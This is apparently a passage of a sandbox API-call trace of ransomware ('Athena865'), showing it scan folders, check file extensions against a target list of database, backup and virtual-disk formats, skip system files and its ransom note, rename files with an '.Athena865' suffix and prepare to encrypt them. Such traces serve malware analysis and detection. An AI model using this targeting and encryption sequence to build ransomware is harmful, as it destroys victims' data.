lpString2="cdb") returned 1 [0138.021] lstrlenW (lpString="ckp") returned 3 [0138.021] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0138.021] lstrlenW (lpString="cma") returned 3 [0138.021] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0138.021] lstrlenW (lpString="cpd") returned 3 [0138.021] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0138.021] lstrlenW (lpString="dacpac") returned 6 [0138.021] lstrcmpiW (lpString1="87.WMF", lpString2="dacpac") returned -1 [0138.021] lstrlenW (lpString="dad") returned 3 [0138.021] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0138.021] lstrlenW (lpString="dadiagrams") returned 10 [0138.022] lstrcmpiW (lpString1="149887.WMF", lpString2="dadiagrams") returned -1 [0138.022] lstrlenW (lpString="daschema") returned 8 [0138.022] lstrcmpiW (lpString1="9887.WMF", lpString2="daschema") returned -1 [0138.022] lstrlenW (lpString="db-journal") returned 10 [0138.022] lstrcmpiW (lpString1="149887.WMF", lpString2="db-journal") returned -1 [0138.022] lstrlenW (lpString="db-shm") returned 6 [0138.022] lstrcmpiW (lpString1="87.WMF", lpString2="db-shm") returned -1 [0138.022] lstrlenW (lpString="db-wal") returned 6 [0138.022] lstrcmpiW (lpString1="87.WMF", lpString2="db-wal") returned -1 [0138.022] lstrlenW (lpString="dbc") returned 3 [0138.022] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0138.022] lstrlenW (lpString="dbs") returned 3 [0138.022] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0138.022] lstrlenW (lpString="dbt") returned 3 [0138.022] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0138.022] lstrlenW (lpString="dbv") returned 3 [0138.022] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0138.022] lstrlenW (lpString="dbx") returned 3 [0138.022] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0138.022] lstrlenW (lpString="dcb") returned 3 [0138.022] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0138.022] lstrlenW (lpString="dct") returned 3 [0138.022] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0138.022] lstrlenW (lpString="dcx") returned 3 [0138.022] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0138.022] lstrlenW (lpString="ddl") returned 3 [0138.022] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0138.022] lstrlenW (lpString="dlis") returned 4 [0138.022] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0138.022] lstrlenW (lpString="dp1") returned 3 [0138.023] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0138.023] lstrlenW (lpString="dqy") returned 3 [0138.023] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0138.023] lstrlenW (lpString="dsk") returned 3 [0138.023] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0138.023] lstrlenW (lpString="dsn") returned 3 [0138.023] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0138.023] lstrlenW (lpString="dtsx") returned 4 [0138.023] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0138.023] lstrlenW (lpString="dxl") returned 3 [0138.023] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0138.023] lstrlenW (lpString="eco") returned 3 [0138.023] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0138.023] lstrlenW (lpString="ecx") returned 3 [0138.023] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0138.023] lstrlenW (lpString="edb") returned 3 [0138.023] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0138.023] lstrlenW (lpString="epim") returned 4 [0138.023] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0138.023] lstrlenW (lpString="fcd") returned 3 [0138.023] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0138.023] lstrlenW (lpString="fdb") returned 3 [0138.023] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0138.023] lstrlenW (lpString="fic") returned 3 [0138.023] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0138.023] lstrlenW (lpString="flexolibrary") returned 12 [0138.023] lstrlenW (lpString="fm5") returned 3 [0138.023] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0138.024] lstrlenW (lpString="fmp") returned 3 [0138.024] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0138.024] lstrlenW (lpString="fmp12") returned 5 [0138.024] lstrcmpiW (lpString1="7.WMF", lpString2="fmp12") returned -1 [0138.024] lstrlenW (lpString="fmpsl") returned 5 [0138.024] lstrcmpiW (lpString1="7.WMF", lpString2="fmpsl") returned -1 [0138.024] lstrlenW (lpString="fol") returned 3 [0138.024] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0138.024] lstrlenW (lpString="fp3") returned 3 [0138.024] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0138.024] lstrlenW (lpString="fp4") returned 3 [0138.024] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0138.024] lstrlenW (lpString="fp5") returned 3 [0138.024] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0138.024] lstrlenW (lpString="fp7") returned 3 [0138.024] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0138.024] lstrlenW (lpString="fpt") returned 3 [0138.024] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0138.024] lstrlenW (lpString="frm") returned 3 [0138.024] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0138.024] lstrlenW (lpString="gdb") returned 3 [0138.024] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0138.024] lstrlenW (lpString="gdb") returned 3 [0138.024] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0138.024] lstrlenW (lpString="grdb") returned 4 [0138.024] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0138.024] lstrlenW (lpString="gwi") returned 3 [0138.024] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0138.024] lstrlenW (lpString="hdb") returned 3 [0138.024] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0138.025] lstrlenW (lpString="his") returned 3 [0138.025] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0138.025] lstrlenW (lpString="ib") returned 2 [0138.025] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0138.025] lstrlenW (lpString="idb") returned 3 [0138.025] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0138.025] lstrlenW (lpString="ihx") returned 3 [0138.025] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0138.025] lstrlenW (lpString="itdb") returned 4 [0138.025] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0138.025] lstrlenW (lpString="itw") returned 3 [0138.025] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0138.025] lstrlenW (lpString="jet") returned 3 [0138.025] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0138.025] lstrlenW (lpString="jtx") returned 3 [0138.025] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0138.025] lstrlenW (lpString="kdb") returned 3 [0138.025] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0138.025] lstrlenW (lpString="kexi") returned 4 [0138.025] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0138.025] lstrlenW (lpString="kexic") returned 5 [0138.025] lstrcmpiW (lpString1="7.WMF", lpString2="kexic") returned -1 [0138.025] lstrlenW (lpString="kexis") returned 5 [0138.025] lstrcmpiW (lpString1="7.WMF", lpString2="kexis") returned -1 [0138.025] lstrlenW (lpString="lgc") returned 3 [0138.025] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0138.025] lstrlenW (lpString="lwx") returned 3 [0138.025] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0138.025] lstrlenW (lpString="maf") returned 3 [0138.025] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0138.026] lstrlenW (lpString="maq") returned 3 [0138.026] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0138.026] lstrlenW (lpString="mar") returned 3 [0138.026] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0138.026] lstrlenW (lpString="marshal") returned 7 [0138.026] lstrcmpiW (lpString1="887.WMF", lpString2="marshal") returned -1 [0138.026] lstrlenW (lpString="mas") returned 3 [0138.026] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0138.026] lstrlenW (lpString="mav") returned 3 [0138.026] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0138.026] lstrlenW (lpString="maw") returned 3 [0138.026] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0138.026] lstrlenW (lpString="mdbhtml") returned 7 [0138.026] lstrcmpiW (lpString1="887.WMF", lpString2="mdbhtml") returned -1 [0138.026] lstrlenW (lpString="mdn") returned 3 [0138.026] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0138.026] lstrlenW (lpString="mdt") returned 3 [0138.026] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0138.026] lstrlenW (lpString="mfd") returned 3 [0138.026] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0138.026] lstrlenW (lpString="mpd") returned 3 [0138.026] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0138.026] lstrlenW (lpString="mrg") returned 3 [0138.026] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0138.026] lstrlenW (lpString="mud") returned 3 [0138.026] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0138.026] lstrlenW (lpString="mwb") returned 3 [0138.026] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0138.026] lstrlenW (lpString="myd") returned 3 [0138.027] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0138.027] lstrlenW (lpString="ndf") returned 3 [0138.027] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0138.027] lstrlenW (lpString="nnt") returned 3 [0138.027] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0138.027] lstrlenW (lpString="nrmlib") returned 6 [0138.027] lstrcmpiW (lpString1="87.WMF", lpString2="nrmlib") returned -1 [0138.027] lstrlenW (lpString="ns2") returned 3 [0138.027] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0138.027] lstrlenW (lpString="ns3") returned 3 [0138.027] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0138.027] lstrlenW (lpString="ns4") returned 3 [0138.027] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0138.027] lstrlenW (lpString="nsf") returned 3 [0138.027] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0138.027] lstrlenW (lpString="nv") returned 2 [0138.027] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0138.027] lstrlenW (lpString="nv2") returned 3 [0138.027] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0138.027] lstrlenW (lpString="nwdb") returned 4 [0138.027] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0138.027] lstrlenW (lpString="nyf") returned 3 [0138.027] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0138.027] lstrlenW (lpString="odb") returned 3 [0138.027] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0138.027] lstrlenW (lpString="odb") returned 3 [0138.027] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0138.027] lstrlenW (lpString="oqy") returned 3 [0138.028] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0138.028] lstrlenW (lpString="ora") returned 3 [0138.028] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0138.028] lstrlenW (lpString="orx") returned 3 [0138.028] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0138.028] lstrlenW (lpString="owc") returned 3 [0138.028] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0138.028] lstrlenW (lpString="p96") returned 3 [0138.028] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0138.028] lstrlenW (lpString="p97") returned 3 [0138.028] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0138.028] lstrlenW (lpString="pan") returned 3 [0138.028] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0138.028] lstrlenW (lpString="pdb") returned 3 [0138.028] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0138.028] lstrlenW (lpString="pdm") returned 3 [0138.028] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0138.028] lstrlenW (lpString="pnz") returned 3 [0138.028] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0138.028] lstrlenW (lpString="qry") returned 3 [0138.028] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0138.028] lstrlenW (lpString="qvd") returned 3 [0138.028] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0138.028] lstrlenW (lpString="rbf") returned 3 [0138.028] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0138.028] lstrlenW (lpString="rctd") returned 4 [0138.028] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0138.028] lstrlenW (lpString="rod") returned 3 [0138.028] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0138.028] lstrlenW (lpString="rodx") returned 4 [0138.029] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0138.029] lstrlenW (lpString="rpd") returned 3 [0138.029] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0138.029] lstrlenW (lpString="rsd") returned 3 [0138.029] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0138.029] lstrlenW (lpString="sas7bdat") returned 8 [0138.029] lstrcmpiW (lpString1="9887.WMF", lpString2="sas7bdat") returned -1 [0138.029] lstrlenW (lpString="sbf") returned 3 [0138.029] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0138.029] lstrlenW (lpString="scx") returned 3 [0138.029] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0138.029] lstrlenW (lpString="sdb") returned 3 [0138.029] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0138.029] lstrlenW (lpString="sdc") returned 3 [0138.029] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0138.029] lstrlenW (lpString="sdf") returned 3 [0138.029] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0138.029] lstrlenW (lpString="sis") returned 3 [0138.029] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0138.029] lstrlenW (lpString="spq") returned 3 [0138.029] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0138.029] lstrlenW (lpString="te") returned 2 [0138.029] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0138.029] lstrlenW (lpString="teacher") returned 7 [0138.029] lstrcmpiW (lpString1="887.WMF", lpString2="teacher") returned -1 [0138.029] lstrlenW (lpString="tmd") returned 3 [0138.029] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0138.029] lstrlenW (lpString="tps") returned 3 [0138.029] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0138.029] lstrlenW (lpString="trc") returned 3 [0138.030] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0138.030] lstrlenW (lpString="trc") returned 3 [0138.030] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0138.030] lstrlenW (lpString="trm") returned 3 [0138.030] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0138.030] lstrlenW (lpString="udb") returned 3 [0138.030] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0138.030] lstrlenW (lpString="udl") returned 3 [0138.030] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0138.030] lstrlenW (lpString="usr") returned 3 [0138.030] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0138.030] lstrlenW (lpString="v12") returned 3 [0138.030] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0138.030] lstrlenW (lpString="vis") returned 3 [0138.030] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0138.030] lstrlenW (lpString="vpd") returned 3 [0138.030] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0138.030] lstrlenW (lpString="vvv") returned 3 [0138.030] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0138.030] lstrlenW (lpString="wdb") returned 3 [0138.030] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0138.030] lstrlenW (lpString="wmdb") returned 4 [0138.030] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0138.030] lstrlenW (lpString="wrk") returned 3 [0138.030] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0138.030] lstrlenW (lpString="xdb") returned 3 [0138.030] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0138.030] lstrlenW (lpString="xld") returned 3 [0138.030] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0138.031] lstrlenW (lpString="xmlff") returned 5 [0138.031] lstrcmpiW (lpString1="7.WMF", lpString2="xmlff") returned -1 [0138.031] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF.Athena865") returned 71 [0138.031] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf.athena865"), dwFlags=0x1) returned 1 [0138.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0138.037] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8186) returned 1 [0138.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0138.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0138.037] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0138.037] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0138.038] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0138.038] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.038] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2300, lpName=0x0) returned 0x154 [0138.040] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2300) returned 0x100000 [0138.046] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0138.048] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0138.049] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0138.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540e38 [0138.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540e38 | out: hHeap=0x4f0000) returned 1 [0138.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0138.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0138.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0138.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0138.050] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0138.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0138.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0138.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0138.052] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0138.053] CloseHandle (hObject=0x154) returned 1 [0138.053] CloseHandle (hObject=0x17c) returned 1 [0138.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0138.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0138.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0138.053] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc87200, ftCreationTime.dwHighDateTime=0x1bd7ec5, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fc87200, ftLastWriteTime.dwHighDateTime=0x1bd7ec5, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0157763.WMF", cAlternateFileName="")) returned 1 [0138.053] lstrcmpiW (lpString1="J0157763.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0138.053] lstrcmpiW (lpString1="J0157763.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0138.053] lstrcmpiW (lpString1="J0157763.WMF", lpString2=".") returned 1 [0138.053] lstrcmpiW (lpString1="J0157763.WMF", lpString2="..") returned 1 [0138.054] lstrcmpiW (lpString1="J0157763.WMF", lpString2="windows") returned -1 [0138.054] lstrcmpiW (lpString1="J0157763.WMF", lpString2="bootmgr") returned 1 [0138.055] lstrcmpiW (lpString1="J0157763.WMF", lpString2="temp") returned -1 [0138.055] lstrcmpiW (lpString1="J0157763.WMF", lpString2="pagefile.sys") returned -1 [0138.055] lstrcmpiW (lpString1="J0157763.WMF", lpString2="boot") returned 1 [0138.055] lstrcmpiW (lpString1="J0157763.WMF", lpString2="ids.txt") returned 1 [0138.055] lstrcmpiW (lpString1="J0157763.WMF", lpString2="ntuser.dat") returned -1 [0138.055] lstrcmpiW (lpString1="J0157763.WMF", lpString2="perflogs") returned -1 [0138.055] lstrcmpiW (lpString1="J0157763.WMF", lpString2="MSBuild") returned -1 [0138.055] lstrlenW (lpString="J0157763.WMF") returned 12 [0138.055] lstrcpyW (in: lpString1=0x241e8aa, lpString2="J0157763.WMF" | out: lpString1="J0157763.WMF") returned="J0157763.WMF" [0138.055] lstrlenW (lpString="J0157763.WMF") returned 12 [0138.055] lstrlenW (lpString="Athena865") returned 9 [0138.055] lstrcmpiW (lpString1="57763.WMF", lpString2="Athena865") returned -1 [0138.055] lstrlenW (lpString=".dll") returned 4 [0138.055] lstrcmpiW (lpString1="J0157763.WMF", lpString2=".dll") returned 1 [0138.055] lstrlenW (lpString=".lnk") returned 4 [0138.055] lstrcmpiW (lpString1="J0157763.WMF", lpString2=".lnk") returned 1 [0138.055] lstrlenW (lpString=".ini") returned 4 [0138.055] lstrcmpiW (lpString1="J0157763.WMF", lpString2=".ini") returned 1 [0138.055] lstrlenW (lpString=".sys") returned 4 [0138.055] lstrcmpiW (lpString1="J0157763.WMF", lpString2=".sys") returned 1 [0138.055] lstrlenW (lpString="J0157763.WMF") returned 12 [0138.055] lstrlenW (lpString="bak") returned 3 [0138.055] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0138.055] lstrlenW (lpString="ba_") returned 3 [0138.055] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0138.056] lstrlenW (lpString="dbb") returned 3 [0138.056] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0138.057] lstrlenW (lpString="vmdk") returned 4 [0138.057] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0138.057] lstrlenW (lpString="rar") returned 3 [0138.057] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0138.057] lstrlenW (lpString="zip") returned 3 [0138.057] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0138.057] lstrlenW (lpString="tgz") returned 3 [0138.057] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0138.057] lstrlenW (lpString="vbox") returned 4 [0138.059] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0138.059] lstrlenW (lpString="vdi") returned 3 [0138.059] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0138.059] lstrlenW (lpString="vhd") returned 3 [0138.059] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0138.059] lstrlenW (lpString="vhdx") returned 4 [0138.059] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0138.060] lstrlenW (lpString="avhd") returned 4 [0138.060] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0138.060] lstrlenW (lpString="db") returned 2 [0138.060] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0138.061] lstrlenW (lpString="db2") returned 3 [0138.061] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0138.061] lstrlenW (lpString="db3") returned 3 [0138.061] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0138.061] lstrlenW (lpString="dbf") returned 3 [0138.061] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0138.061] lstrlenW (lpString="mdf") returned 3 [0138.061] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0138.061] lstrlenW (lpString="mdb") returned 3 [0138.061] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0138.061] lstrlenW (lpString="sql") returned 3 [0138.061] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0138.061] lstrlenW (lpString="sqlite") returned 6 [0138.061] lstrcmpiW (lpString1="63.WMF", lpString2="sqlite") returned -1 [0138.061] lstrlenW (lpString="sqlite3") returned 7 [0138.061] lstrcmpiW (lpString1="763.WMF", lpString2="sqlite3") returned -1 [0138.061] lstrlenW (lpString="sqlitedb") returned 8 [0138.061] lstrcmpiW (lpString1="7763.WMF", lpString2="sqlitedb") returned -1 [0138.061] lstrlenW (lpString="xml") returned 3 [0138.061] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0138.061] lstrlenW (lpString="$er") returned 3 [0138.061] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0138.061] lstrlenW (lpString="4dd") returned 3 [0138.062] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0138.062] lstrlenW (lpString="4dl") returned 3 [0138.063] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0138.063] lstrlenW (lpString="^^^") returned 3 [0138.063] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0138.063] lstrlenW (lpString="abs") returned 3 [0138.063] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0138.063] lstrlenW (lpString="abx") returned 3 [0138.063] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0138.063] lstrlenW (lpString="accdb") returned 5 [0138.063] lstrcmpiW (lpString1="3.WMF", lpString2="accdb") returned -1 [0138.063] lstrlenW (lpString="accdc") returned 5 [0138.063] lstrcmpiW (lpString1="3.WMF", lpString2="accdc") returned -1 [0138.063] lstrlenW (lpString="accde") returned 5 [0138.063] lstrcmpiW (lpString1="3.WMF", lpString2="accde") returned -1 [0138.063] lstrlenW (lpString="accdr") returned 5 [0138.065] lstrcmpiW (lpString1="3.WMF", lpString2="accdr") returned -1 [0138.065] lstrlenW (lpString="accdt") returned 5 [0138.065] lstrcmpiW (lpString1="3.WMF", lpString2="accdt") returned -1 [0138.065] lstrlenW (lpString="accdw") returned 5 [0138.065] lstrcmpiW (lpString1="3.WMF", lpString2="accdw") returned -1 [0138.065] lstrlenW (lpString="accft") returned 5 [0138.065] lstrcmpiW (lpString1="3.WMF", lpString2="accft") returned -1 [0138.065] lstrlenW (lpString="adb") returned 3 [0138.066] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0138.066] lstrlenW (lpString="adb") returned 3 